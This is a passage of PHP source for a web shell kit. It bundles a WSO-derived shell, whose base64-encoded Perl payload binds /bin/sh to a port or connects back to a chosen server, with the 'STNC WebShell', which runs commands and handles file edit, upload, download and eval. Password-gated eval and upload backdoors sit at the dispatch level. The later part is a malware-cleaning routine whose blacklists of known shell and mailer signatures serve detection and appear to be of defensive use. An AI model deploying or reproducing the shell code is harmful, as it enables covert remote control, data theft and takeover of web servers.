    $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    echo "<h1>Network tools</h1><div class=content>
    <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
    <span>Bind port to /bin/sh [perl]</span><br/>
    Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form>
    <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
    <span>Back-connect  [perl]</span><br/>
    Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
    </form><br>";
    if(isset($_POST['p1'])) {
        function cf($f,$t) {
            $w = @fopen($f,"w") or @function_exists('file_put_contents');
            if($w){
                @fwrite($w,base64_decode($t));
                @fclose($w);
            }
        }
        if($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl",$bind_port_p);
            $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
        }
        if($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl",$back_connect_p);
            $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
            echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
        }
    }
    echo '</div>';
    wsoFooter();
}
function actionRC() {
    if(!@$_POST['p1']) {
        $a = array(
            "uname" => php_uname(),
            "php_version" => phpversion(),
            "wso_version" => WSO_VERSION,
            "safemode" => @ini_get('safe_mode')
        );
        echo serialize($a);
    } else {
        eval($_POST['p1']);
    }
}
if( empty($_POST['a']) )
    if(isset($default_action) && function_exists('action' . $default_action))
        $_POST['a'] = $default_action;
    else
        $_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
    call_user_func('action' . $_POST['a']);
exit;

}

// --------------------------------------------------------------------------------------------------------------------------------

function shell2() {
    $version = "0.8";
$vsplit = "style=\"border-right: #000000 1px solid;\"";
$hsplit = "style=\"border-bottom: #000000 1px solid;\"";
error_reporting(0);

if(version_compare(phpversion(),"4.1.0") == -1)
{ $_POST=&$HTTP_POST_VARS; }
if(get_magic_quotes_gpc())
foreach ($_POST as $k=>$v)
{ $_POST[$k] = stripslashes($v); }

/*
$login='root';
$hash='b1b3773a05c0ed0176787a4f1574ff0075f7521e'; // sha1("qwerty")

if(!(($_SERVER["PHP_AUTH_USER"]===$login)&&(sha1($_SERVER["PHP_AUTH_PW"])===$hash)))
{
header("HTTP/1.0 401 Unauthorized");
header("WWW-Authenticate: Basic");
die();
}
*/

function fe($s)
{return function_exists($s);}
function cmd($s)
{if(fe("exec")){exec($s,$r);$r=join("\n",$r);}
elseif(fe("shell_exec"))$r=shell_exec($s);
elseif(fe("system")){ob_start();system($s);$r=ob_get_contents();ob_end_clean();}
elseif(fe("passthru")){ob_start();passthru($s);$r=ob_get_contents();ob_end_clean();}
elseif(is_resource($f=popen($s,"r"))){$r="";while(!feof($f))$r.=fread($f,512);pclose($f);}
else $r=`$s`;return $r;}
function safe_mode_is_on()
{return ini_get('safe_mode');}
function str100($s)
{if(strlen($s)>100) $s=substr($s,0,100)."..."; return $s;}
function id()
{return str100(cmd("id"));}
function uname()
{return str100(cmd("uname -a"));}

function edit($size, $name, $val)
{ return "<input type=text size=$size name=$name value=\"$val\">"; }
function button($capt)
{ return "<input class=\"btn\" type=submit value=\"$capt\">"; }
function hidden($name, $val)
{ return "<input type=hidden name=$name value=\"$val\">"; }
function hidden_pwd()
{ global $location; return hidden("pwd",$location);}

$action_edit = false;

$printline = "";

if(isset($_POST["action"])) $action = $_POST["action"];
else $action = "cmd";

if(isset($_POST["pwd"]))
{ $pwd = $_POST["pwd"]; $type = filetype($pwd); if($type === "dir")chdir($pwd); else $printline = "\"$pwd\" - no such directory."; }

$location = getcwd();

if(($action === "download")&&(isset($_POST["fname"])))
{
  $fname = $_POST["fname"];
  if(file_exists($fname))
  {
    $pathinfo = pathinfo($fname);
    header("Content-Transfer-Encoding: binary");
    header("Content-type: application/x-download");
    header("Content-Length: ".filesize($fname));
    header("Content-Disposition: attachment; filename=".$pathinfo["basename"]);
    readfile($fname);
    die();
  }
  else
    $printline = "\"$fname\" - download failed.";
}

echo "<head><style>input {border: black 1px solid; background-color: #dfdfdf; font: 8pt verdana;}
textarea {background-color:#dfdfdf; scrollbar-face-color: #dfdfdf; scrollbar-highlight-color: #dfdfdf;
scrollbar-shadow-color: #dfdfdf; scrollbar-3dlight-color: #dfdfdf; scrollbar-arrow-color: #dfdfdf; scrollbar-track-color: #dfdfdf;
scrollbar-darkshadow-color: #dfdfdf; border: black 1px solid; font: fixedsys bold; }
td {padding:0;} body {margin: 0; padding: 0; background-color: #cfcfcf;} a {color:black;text-decoration:none;}
.btn {background-color: #cfcfcf;} .pad {padding:5;}
</style><title>  STNC WebShell v$version  </title></head><body><table width=100%>
<tr><td $hsplit><table><tr><td $vsplit><b>&nbsp;&nbsp;STNC&nbsp;WebShell&nbsp;v$version&nbsp;&nbsp;</b></td><td>id: ".id()."<br>uname: ".uname()."<br>your ip: ".$_SERVER["REMOTE_ADDR"]." - server ip: ".gethostbyname($_SERVER["HTTP_HOST"])." - safe_mode: ".((safe_mode_is_on()) ? "on" : "off")."</td></tr></table></tr></td>
<tr><form method=post><td class=\"pad\" colspan=2 $hsplit><center>".hidden("action","save").hidden_pwd()."<textarea cols=120 rows=16 wrap=off name=data>";

echo htmlspecialchars($printline)."\n";

if($action === "cmd")
{
  if(isset($_POST["cmd"]))
    $cmd = $_POST["cmd"];
  else
    $cmd = "ls -la";

  $result = htmlspecialchars(cmd($cmd));

  if($result === "")
    $result = cmd("ls -la");

  echo $result;
  $location = getcwd();
}
elseif(($action === "edit")&&(isset($_POST["fname"])))
{
  $fname = $_POST["fname"];
  ob_start();

  if(!readfile($fname))
    echo "Cann't open file \"$fname\".";
  else
    $action_edit = true;

  $result = ob_get_clean();
  ob_end_clean();
  echo htmlspecialchars($result);
}
elseif(($action === "save")&&(isset($_POST["fname"]))&&(isset($_POST["data"])))
{
  $fname = $_POST["fname"];
  $data = $_POST["data"];
  $fid = fopen($fname, "w");
  $fname = htmlspecialchars($fname);

  if(!$fid)
    echo "Cann't save file \"$fname\".";
  else
  {
    fputs($fid, $data);
    fclose($fid);
    echo "File \"$fname\" is saved.";
  }
}
elseif(($action === "upload")&&(isset($_FILES["file"]))&&(isset($_POST["fname"])))
{
  $fname = $_POST["fname"];
  if(copy($_FILES["file"]["tmp_name"], $fname))
    echo "File \"$fname\" is uploaded.\nFile size: ".filesize($fname)." bytes.";      
  else
    echo "Upload failed!";
}
elseif(($action === "eval")&&(isset($_POST["code"])))
{
  $code = $_POST["code"];
  ob_start();
  eval($code);
  $result = ob_get_clean();
  ob_end_clean();
  echo htmlspecialchars($result);
}

echo "</textarea>".(($action_edit) ? "<br>".button("  Save  ").hidden("fname",$fname):"")."</center></td></form></tr>
<tr><form method=post><td class=\"pad\" $hsplit><center>".hidden("action","cmd")."<table><tr><td width=80>Command:&nbsp;</td><td>".edit(85,"cmd","")."</td></tr><tr><td>Location:&nbsp;</td><td>".edit(85,"pwd",$location)."&nbsp;".button("Execute")."</td></tr></table></center></td></form></tr>
<tr><form method=post><td class=\"pad\" $hsplit><center>".hidden("action","edit").hidden_pwd()."<table><tr><td width=80>Edit file:</td><td>".edit(85,"fname",$location)."</td><td>".button("    Edit    ")."</td></table></center></td></form></tr>

<tr><form method=post><td class=\"pad\" $hsplit><table width=100%><tr><td width=50% $vsplit>".
  hidden("action","download").hidden_pwd()."<center><table><tr><td width=80>File:</td><td>".edit(50,"fname",$location)."</td><td>".button("Download")."</td></tr></table></center>
</td></form><form method=post enctype=multipart/form-data><td class=\"pad\" width=50%>".
  hidden("action","upload").hidden_pwd()."<center><table><tr><td width=80>File:</td><td><input type=file size=50 name=file></td></tr><tr><td>To file:</td><td>".edit(50,"fname",$location)."&nbsp;".button("Upload")."</td></tr></table></center>
</td></tr></table></td></form></tr>

<tr><form method=post><td class=\"pad\" $hsplit>".hidden("action","eval").hidden_pwd()."<center><textarea cols=100 rows=4 wrap=off name=code></textarea><br>".button("   Eval   ")."</center></td></form></tr>
<tr><td align=right>Coded by drmist | <a href=\"http://drmist.ru\">http://drmist.ru</a> | <a href=\"http://www.security-teams.net\">http://www.security-teams.net</a> | <a href=\"http://www.security-teams.net/index.php?showtopic=3429\">not enough functions?</a> | (c) 2006 [STNC]</td></tr></table></body>";

}

// --------------------------------------------------------------------------------------------------------------------------------

global $time, $count;

if (!empty($_POST["e"])) {
    eval(base64_decode($_POST["e"]));
}

else if (!empty($_POST["p1"]) && $_POST["p1"] == "uploadFile" && !empty($_POST["c"]) && empty($_GET["sh"])) {
    chdir($_POST["c"]);
    @move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
}

elseif (!empty($_GET["sh"]) && md5(md5("_salt".$_GET["sh"])) == "af886cbfdbebc158ea4869764dc9266e") {
    shell1(); 
}

elseif (!empty($_GET["sh"]) && md5(md5("_salt".$_GET["sh"])) == "bee142764c57761190ba002248acb7d3") {
    shell2();
}

elseif (!empty($_GET["ck"])) {
    echo "<pre>";
    // -----------------------------------------------------------------------------

function find_suspectt($dir, $response)
{
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator(realpath($dir)), RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD);

    foreach($iterator as $file) {
        $file = (string)$file;
        $name = substr($file, strripos($file, DIRECTORY_SEPARATOR)+1);

        // 
        if (endsWith($file, DIRECTORY_SEPARATOR.".") || endsWith($file, DIRECTORY_SEPARATOR."..")) { continue; }
        if (filesize($file) > 1000000) { continue; }

        //    
        if(substr(sprintf('%o', fileperms($file)), -4) == "0000") { $response[] = delete_file($file); }
        if(!is_readable($file) && is_executable($file)) { $response[] = delete_file($file, "!is_readable && is_executable"); }

        //  
        if (endsWith($file, ".php.", True) || endsWith($file, ".suspected", True) || endsWith($file, ".php_backup", True) || endsWith($file, ".pl", True))  { $response[] = delete_file($file); }

        //  
        if(endsWith($file, ".js", True) && startsWith(@file_get_contents($file), "<?")) { $response[] = empty_file($file); }
        if(endsWith($file, ".ico", True) && startsWith(@file_get_contents($file), "<?")) { $response[] = empty_file($file); }
        if(endsWith($file, ".png", True) && filesize($file) < 20000 && startsWith(@file_get_contents($file), "<?")) { $response[] = empty_file($file); }
        if(endsWith($file, ".gif", True) && startsWith(@file_get_contents($file), "<?")) { $response[] = empty_file($file); }

        // 
        if(endsWith($file, ".js", True) && strpos(@file_get_contents($file), "var _0x") !== false) { $response[] = replace_file("var _0x", "// @null _0x", @file_get_contents($file), $file); chmod ($file, 444);}

        //     php 
        if (strpos($name, ".") === false && strpos($file, "cache") === false && startsWith(@file_get_contents($file), "<?")) { $response[] = empty_file($file); }

        // php  php5 
        if(endsWith($file, ".php", True) || endsWith($file, ".php5", True) || endsWith($file, ".phtml", True)) { 
            $result = suspectt($file);
            if ($result != false) { $response[] = $result; }
        }

        //  upload  wordpress
        //if ($name == "wp-config.php" && strpos(@file_get_contents($file), "DISALLOW_FILE_MODS") === false) {
        //    $response[] = replace_file("define('AUTH_KEY'", "define('DISALLOW_FILE_MODS', true);\ndefine('AUTH_KEY'", "", $file);
        //}
    }

    return $response;
}

// -----------------------------------------------------------------------------

function suspectt($file)
{
    $white_list = array("/attack-data.php", "/vc_row_inner.php", "/compat.php", "/dtoken.php", "/xmlrpc.php", "/index2.php", "/index3.php", "/renderinfo.php", "/admin-post.php", 
        "/class-phpmailer.php", "/class-phpmailer.php", "/class-json.php", "/Mustache/Engine.php", "/class-snoopy.php", "/class-pclzip.php", "/wp-includes/wp-db.php",
        "/wp-includes/functions.php", "/wp-includes/pluggable.php", "/wp-includes/class-wp.php", "/js/revisions-js.php", "/simplepie.php", "/soundcloud.php", "/tcpdf.php",
        "/sitepress.class.php", "/wordfence", "/iwp-client", "/w3-total-cache", "/iwp-client", "/Crypt/RSA.php", "/Crypt/DES.php", "/loco-translate/", "/CMSC/Backup.php",
        "/class.phpmailer.php", "/geshi/php.php", "/Validate/Hostname/", "/phpqrcode/phpqrcode.php", "/jetpack/locales.php", "/nusoap/class.soap_server.php", "/nusoap/nusoap.php",
        "/phpseclib/Crypt/", "/framework/WDWLibrary.php", "/lib/class.media-summary.php", "/shortcodes/shortcode-soundcloud.php", "/captcha/captcha.php", "/libs/download.php",
        "/jcomments/jcomments.php", "/classes/wp-db.php", "/extplorer.list.php", "/wflogs/config.php", "/mpdf/patterns/", "/tcpdf/fonts/", "/forms/proc/", "Engine/native.php",
        "Engine/shell.php", "Text/Diff.php", "cache/meta/", "gotmls/images/", "/lib/Dropbox/", "/phpseclib/File/", "OLE.php", "class.u.php", "version/includes/field", "fonts/uni2",
        "/plugins/akismet/akismet.php", "/Dropbox/WebAuth.php", "/Dropbox/Client.php", "/cache/db/000000/", "/rss-import/rssimport.php", "fonts/dejavu", "/fonts/free", "fonts/droid",
        "/Diff/Mapped.php", "/Diff/ThreeWay.php", "/edit/frontediting_modules.php", "/default/template-", "/slider/template-", "/vc_row.php", "/class-sv-wc-payment-gateway",
        "/gotmls/index.php", "/ExportToCsvUtf8.php", "/minify/js.php", "wp-spamshield/includes/blacklists.php", "wppa-common-functions.php", "forms/embedded_form.php", "Sniff.php", 
        "/LoggerConfigurationAdapterPHP.php", "/tpl/simple.php", "/tpl/default.php", "/class.util.php", "/controller/shortcodes.php", "/validate/hostname/", "/fonts/cid0", 
        "/fonts/ae", "/default_templates/index.php", "/fonts/arialunicid0", "/wtr_theme_settings.php", "/modules/file.php", "/includes/submission.php", "wpmdb-filesystem.php",
        "/wp-admin/includes/file.php", "class-avada-images.php", "/php-brief.php", "/filesystem/file.php", "/widgets/gallery/gallery.php", "/plugins/sucuri-scanner/", "");

    $main_empty_list = array("\$wp__wp=\$wp__wp(str_replace", "slava = \"b\" . \"a\" .", "cookiename = \"wieeeee\";", "\$OOO0O0O00=__FILE__;\$OO", "SAPE_", "class Flooding", 
        "function show_ls(\$p = '.')", "5167221", "g___g_", "phpspy", "default_use_ajax", "default_use_ajax", "wsoLogin", "\$auth_pass = \"",
        "eng_text28'=>'Work in safe_mode", "echo \"<!-- g('FilesMan','c:/') --!>", "@error_reporting(0); @ini_set", "eXecute</font></td><td><b>World",
        "\$l__l_=md5(\$l__l_).su", "e.com/p/b374k-shell", "<tr><td><b>Execute command:</b></td><td><inp", "ute Shell Command (safe mod", "print \"2842123700",
        "c99shell.php", "if (\$files_uploaded<2)", "GLOBALS['rpdxi45']", "eval(bzdecompress(\$c));__halt_co", "touch/*;*/(\$filename, \$time);", 
        "<title>Hacked by d3b~X</title>", "if (!empty(\$_POST['ur'])) \$mode |= 040", "<?php \$w109017=", "\$asdads .= \"GET&nbsp;\"; }", "\$sF=\"PCT4BA6ODSE_\";", 
        "qV=\"stop_\";\$s20=strtoupper", "Magic Include Shell", "Souheyl Bypass Shell", "</form>';if(isset(\$_POST['g'])){if(is_", "die('VeryBIGhyi!",
        "_GET['mod']=='00X", "include(\"temp1-1.php\");", "crkekatkek_kfkukncktkikon", "hello\"==\$_GET[\"test", "='base'.(128/2).'_de", "f(isset(\$_COOKIE['google']",
        "&#92;\",\$check); //returning", ">config root man<", ".php.suspectted\", \$inn.\".php", "f1 = \".ht\"; \$f2 = \"acc", " . \$current . \"&mode=upload",
        "file_put_contents(\$destination, \$blog_id);", " PHP-FPM, IIS", "/* amiddhRNJ */", "_FILES['message']['name']) && (md5(\$_POST['name']",
        "{array_map(create_function('',\$errstr),array(''));}", "\$_COOKIE [str_replace('.', '_', \$_SERVER['HTTP_HOST'])])", " . \"64_decode\";return ",
        "@ini_set('display_errors', 0);@set_time_limit(3600);", "array('da8686','fbb4c3'", "8?B?'.base64_encode(randT", "define('SHELL_PASSWORD", "PaYwand_DefaceR",
        "echo \"DisablePHP=\".\$disable_functions", "El Moujahidin", "/hack-run.png'", "echo\"<b>gagal", ".'coder'), 0, 4).'.php';", "@fsockopen(\$_POST['s']",
        "xh;sebpq_gw4", "0x00 PHP shell", "<[email protected]>", "PostData(\$ip,\$domain,\$w_u = 2){",
        "{p'^=|#\")} | FILTER_FLAG_NO_RES_RANGE) !== FALSE)", ";exit;}exec(\$command", "_POST['file_type'] == 'upload", "(strstr(\$query,\"sitemaps.xml\")", "action=='UploadOne",
        "Recoded By W3LL", "@\$_COOKIE[\"hui\"]", "Z2xvYmFsICRhd", "T\"} ['admins']);?>", "\$win = \$_POST['d']", "(\$inn.\".php.suspected", "VC_Decrypt(\$wbuffer));", 
        "de_unautop=\$_SERVER{\$_SERVER", "Plugin Name: UBH CSU", "'wp-blog-header.php'  => 'c3.php',", "UDP Flood</title>", "_POST['email']?>\"required", "<b>t4style<b>", 
        "git.oschina.net/mz/mzphp2", "wp-content/plugins/wordfence_plugin", "@mkdir(\"DevilHacker\", 0777);", "", ); 

    $main_warn_list = array("']));}?>", "if(@\$isbot){", "yH5BAHoAwMALAAAAA", "@error_reporting(0)", "@system(", "@passthru(", " = explode(chr((", "assert(\$_POST",
        "file_put_contents(\$_POST", "HACKED", "<?php @require('", "| FILTER_FLAG_NO_RES_RANGE) !== FALSE)", "@assert(", "###SUGARHASH###", "base64_encode(\$smuri_tmp);",
        "*/include /*", "Plugin Name: Akismet", "255 && \$code == 200) {", "=\$_COOKIE;", " = create_function(null", "echo \$_FILES[\"filename\"][\"name",
        "move_uploaded_file", ");@\$_();?>", "include(\$_GET[", "", );

    $main_replace_list = array(array("@include \"\x", "//@null \"\x"), array("='create_';if(function_exists(", "='@null_';if(function_exists("), 
        array("if(!isset(\$_GET['content-area'])){", "if(1){"), array("_COOKIE[\"id\"])) @\$_COOKIE","_COOKIE[\"id\"])) @\$_POOKNI"), array("NET='avt1';","NET='@null';"), 
        array("if(copy(\$_FILES['402']", "// if(copy(\$_FILES['402']"), array("require(\"terms/install.php\");", ""), array("\$strings(str_rot13('riny", "// (str_rot13('riny"),
        array("https://src.dancewithme.biz/src.js", ""), array("require(\"\$rifilename\");", ""), array("if (!\$npDcheckClassBgp)", "if (0)"), array("\$pf = array_filter(\$p, \$f);", ""),
        array("{move_uploaded_file(\$_FILES['F1l3']", "{@substr(\$_FILES['F1l3']"), array("<script>var _0x", "<script>// @null _0x"), array("\$sd4 = \"_\".'G'.'E'.'T';", "//"), 
        array("\"IEeBldmFes\";", "\"\";"), array("strrev(\"noi\".\"tcnuf","\"@null\"; //"), array("if(\$_POST['activatewrm']==1){","if(0){"), array("/wp-temporary.php", "/wp-temporary"), );

    $base64_empty_list = array("\$_POST['delete_files']", "_dlss(~base64_decode('l4uLj8XQ0IuSj9GSkJGYlovRnJCS0I", "stripslashes(base64_decode(\$_POST",
        "base64_encode(shell_exec", "shortcode_unautop = create_functi", "links = explode('|||', trim", ", \$f); echo 'OK'; Exit;};", "PclZip(\"wp-ss.zip",
        "_put_contents(__FILE__, base64_decode(\$_POS", "die(substr(md5(microtime", "_REQUEST[\"test_url", "=urldecode(\$_COOKIE['cp']);\$cd=urldecode", 
        "isset(\$_POST[\"mailto\"])", "ntents(\"rosoiew.zip", "KurdLinux Priv8", "\$upl_content", "alexusMailer", "_GET['action']==\"test\") die(\"test s",
        "Leaf PHP Mailer", "Leaf Mailer", "substr(md5(time())", "wp_default_logo = '<img", "send_from = base64_encode", "Rewrite = \$_GET['rewrite", "base64_decode(\$s[0]['txt']);",
        "fm_usr']])&&\$_POST['fm_pwd", "perms & 0x0200) ? 't' : 'x' ) :", "base64_decode(\$shellololol)", "", );

    $base64_replace_list = array(array("shell_exec(base64_decode(", "//@null(@null("), array("\$light =  \$strings2(\$", "// @null("));

    $request_empty_list = array("_REQUEST['pwd'])==='92eef09d8ed4eae0ce299c8c6f5f2a9b'))", "ert\";@\$t(str");

    $eval_empty_list = array("ean();eval(\$t) ?>", "PASS=\"0e717bac8975", "FLoodeR :: SpameR", "pre_term_name( \$logo_image, \$wp_nonce", "]])){eval(\${", "Password:<input type",
        "s(\$yam_path, \$yam);", "/p/b374k-shell", "_encode(shell_exec(", "Rebels Mailer", "ERROR: 7 UNKNOWN", "eval_php_code .= chr(ord(\$string_output", );

    $eval_replace_list = array(array("<?php eval(", "<?php //@null("), array("eval(gzinflate(", "//@null(@null("), array("eval(base64_decode(","//@null(@null("),
        array("eval( base64_decode","//@null(@null"), array("eval ( base64_decode","//@null(@null"), array("<?php eval(\$_POST['dd']);?>",""),
        array("eval/*","@null/*"));

    $pregreplace_empty_list = array("XV1aV+4AchazPru8Hws", "sssssecret =", "randomabarticles=\"yes", "server.php\", \$str_hm5", "rtl.css' =>  \"\\x65val.gz", "wp_code = 'PD9wa",
        "']Clic' . 'k links", "t_r(\$v->checkemails(\$ema", ";*/@\$var_add(\$var_global('", "ound\");echo(html(", "Adminer - Compact", "#arr_nametimebg", "success'=>\$brutePass",
        "", );

    $pregreplace_replace_list = array(array(".'T'; if (isset(", ".'T'; // if (isset("));

    //   
    if ($file == $_SERVER["SCRIPT_FILENAME"]) { return; }

    //     
    foreach($white_list as $white) { if (strpos($file, $white) !== false) { return; } }

    //  
    $content = @file_get_contents($file);
    if ($content === false) { return; }
    $len = strlen($content);
    $spaces = substr_count($content, " ");
    $esc = substr_count($content, "\n");
    $x = substr_count($content, "\x");
    $phpstart = substr_count($content, "<?"); if ($phpstart == 0) { return; }
    $bucks = substr_count($content, "\$");
    $double_php = substr_count($content, "?><");

    //   
    //if (strpos($content, "@null") !== false) { return; } 

    //     
    if (strpos($content,"<?php die(\"Access Denied\");") === 0) { return; }

    //    empty_list_main
    if ($len < 700000) {
        foreach($main_empty_list as $black) { 
            if (strpos($content, $black) !== false) { return delete_file($file, $black); } 
        }
    }

    //     
    if ($double_php && (strpos($content,"exit();}") !== false || strpos($content,"#gogo(.*)") !== false)) { 
        $content = substr($content,strpos($content,"?><")+2);
        file_put_contentz($file, $content);
        return;
    }

    if ($double_php && (strpos($content,"fwrite(\$handle, \"<?php\\n\" . \$phpCode)") !== false)) { 
        $content = substr($content,strpos($content,"?><")+2);
        file_put_contentz($file, $content);
        return;
    }

    if ($double_php && (strpos($content,"/*Generated by Jetpack Protect Start*/") !== false)) { 
        $content = substr($content,strpos($content,"?><")+2);
        file_put_contentz($file, $content);
        return;
    }

    /*
    if ($double_php && (strpos($content,"gcbvlwfitq-1") !== false)) { 
        $content = substr($content,strpos($content,"?><")+2);
        file_put_contentz($file, $content);
        return;
    }

    if ($double_php && (strpos($content,"explode(chr((138-94)),'2313") !== false)) { 
        $content = substr($content,strpos($content,"?><")+2);
        file_put_contentz($file, $content);
        return;
    }
    */

    // --- base64_decode -------------------------------------------------------

    if (strpos($content,"base64_decode") !== false) {

        //     
        if ($len < 700000) {
            foreach($base64_empty_list as $black) { 
                if (strpos($content, $black) !== false) { return delete_file($file, $black); } 
            }
        }
 
        //   - base64_replace_list
        foreach($base64_replace_list as $a) {
            if (strpos($content, $a[0]) !== false) { return replace_file($a[0], $a[1], $content, $file); } 
        }

        //  
        $arrows = substr_count($content, "=>");
        $base64 = substr_count($content, 'base64_decode');

        if ($spaces < 10) { return empty_file($file); }
        if ($arrows > 30 && strpos($content,"));?>") !== false) { return empty_file($file); }
        if (strpos($content,"eval(gzuncompress(base64_decode") !== false && $len < 300 && $phpstart == 1) {  return delete_file($file, "eval(gzuncompress(base64_decode"); }
        if (strpos($content,"create_function('") !== false && strpos($content,"@gzinflate(") !== false) { return empty_file($file); }
        if ($base64 > 10 && strpos($content,"\$GLOBALS['_") !== false && $phpstart == 3) { return empty_file($file); }
        if ($len < 1200 && $esc < 3) { return warn_file($file, $content, "(base64_decode) "); }
        if (strpos($content,"Licence and assignment") !== false) { return warn_file($file, $content, "Licence and assignment"); }
        if ($len < 400 && strpos($content,"if (mail(stripslashes(base64_decode(") !== false) { return delete_file($file, "mail(stripslashes(base64_decode"); }
        if ($len < 900 && strpos($content,"/wp-temporary.php") !== false) { return delete_file($file, "/wp-temporary.php"); }

        if ($len < 30000 && substr_count($content, "\t") > 1000 && strpos($content,",\"\\r\\n\\r\\n\"") !== false && substr_count($content, "static public function") > 60) { return delete_file($file, ",\"\\r\\n\\r\\n\""); }
        if (strpos($content,",\"\\r\\n\\r\\n\"") !== false) { return warn_file($file, $content, ",\"\\r\\n\\r\\n\""); }
    }

    // --- eval ----------------------------------------------------------------

    if (strpos($content,"eval/") !== false || (strpos($content,"eval(") !== false && ctype_alpha(substr($content,strpos($content,"eval(")-1, 1)) === false) || 
                                              (strpos($content,"eval ") !== false && ctype_alpha(substr($content,strpos($content,"eval ")-1, 1)) === false)) {

        //     
        if ($len < 700000) {
            foreach($eval_empty_list as $black) { 
                if (strpos($content, $black) !== false) { return delete_file($file, $black); } 
            }
        }

        //   - eval_replace_list
        foreach($eval_replace_list as $a) {
            if (strpos($content, $a[0]) !== false) { return replace_file($a[0], $a[1], $content, $file); } 
        }

        //  
        if ($spaces < 15) { return empty_file($file); }
        if (strpos($content,"{eval(\$s21(\$s22));}") !== false && $len < 600) { return empty_file($file); }
        if (strpos($content,"t_contents(\$do);") !== false && $len < 300) { return empty_file($file); }
        if (strpos($content,"gzinflate") !== false && $spaces < 5) { return empty_file($file); }
        if (strpos($content,"gzuncompress") !== false) { return warn_file($file, $content, "gzuncompress"); }
        if (strpos($content,"eval(\$") !== false && strpos($content,"<?php $") !== false) { return delete_file($file, "eval(\$"); }
        if (strpos($content,"\";eval(\$") !== false && $esc == 0) { return delete_file($file, "eval(\$"); }
        if (strpos($content,"move_uploaded_file") !== false && strpos($content,"eval(\$eval_php_code);") !== false && $phpstart == 2) { return delete_file($file, "eval(\$eval_php_code);"); }

        

        if (strpos($content,"@eval") !== false) { return warn_file($file, $content, "(eval) "); }
        if ($spaces < 40 || $esc < 40) { return warn_file($file, $content, "(eval) "); }
    }

    // --- request -------------------------------------------------------------

    if (strpos($content,"\$_REQUEST") !== false) {

        //   - request_empty_list
        if ($len < 700000) {
            foreach($request_empty_list as $black) { 
                if (strpos($content, $black) !== false) { return delete_file($file, $black); } 
            }
        }

        //  
        if (strpos($content,"exit(); }") !== false && $len < 1200) { return empty_file($file, "exit(); }"); }
        if ($esc < 3 && $len < 1200) { return warn_file($file, $content, "(request) "); }
    }

    // --- preg_replace --------------------------------------------------------

    if (strpos($content,"preg_replace") !== false) {

        //   - pregreplace_empty_list
        if ($len < 700000) {
            foreach($pregreplace_empty_list as $black) { 
                if (strpos($content, $black) !== false) { return delete_file($file, $black); } 
            }
        }

        //   - pregreplace_replace_list
        foreach($pregreplace_replace_list as $a) {
            if (strpos($content, $a[0]) !== false) { return replace_file($a[0], $a[1], $content, $file); } 
        }

        //     
        if (strpos($content,"?><") !== false && (strpos($content,"<?php if(!@\$incode!=false||!@") !== false)) { 
            $content = substr($content,strpos($content,"?><")+2);
            file_put_contentz($file, $content);
            return;
        }

        //    header
        if ((strpos($file,"header.php") !== false || strpos($file,"index.php") !== false) && strpos($content,"user_agent_to_filter") !== false && strpos($content,"?><") !== false) {
            $content = substr($content,strpos($content,"?><")+2);
            file_put_contentz($file, $content);
            return array('action' => 'replace', 'file' => $file);
        }

        //  
        if ($spaces < 10) { return empty_file($file); }
        if (strpos($content,"Black-ID") !== false && $phpstart == 1) { return empty_file($file); }
        if (strpos(substr($content,strpos($content,"preg_replace")),"(") < 20 && strpos(substr($content,strpos($content,"preg_replace")),")") > 120) { return warn_file($file, $content, "(preg_replace) "); }
        if (strpos($content,"\$www = \$_POST['jml']") !== false) { return warn_file($file, $content, "\$www = \$_POST['jml']"); }
        if (strpos($content,"/[pageerror]/e") !== false) { return warn_file($file, $content, "/[pageerror]/e"); }
        if ($len < 100 && $esc == 0 && strpos($content,"/laterain/e") !== false) { return warn_file($file, $content, "/[pageerror]/e"); }

        //if (strpos($content,".'G'.'E'.'T'") !== false) { return warn_file($file, $content, ".'G'.'E'.'T'"); }

    }

    // --- main ---------------------------------------------------------------

    //   - main_replace_list
    foreach($main_replace_list as $a) {
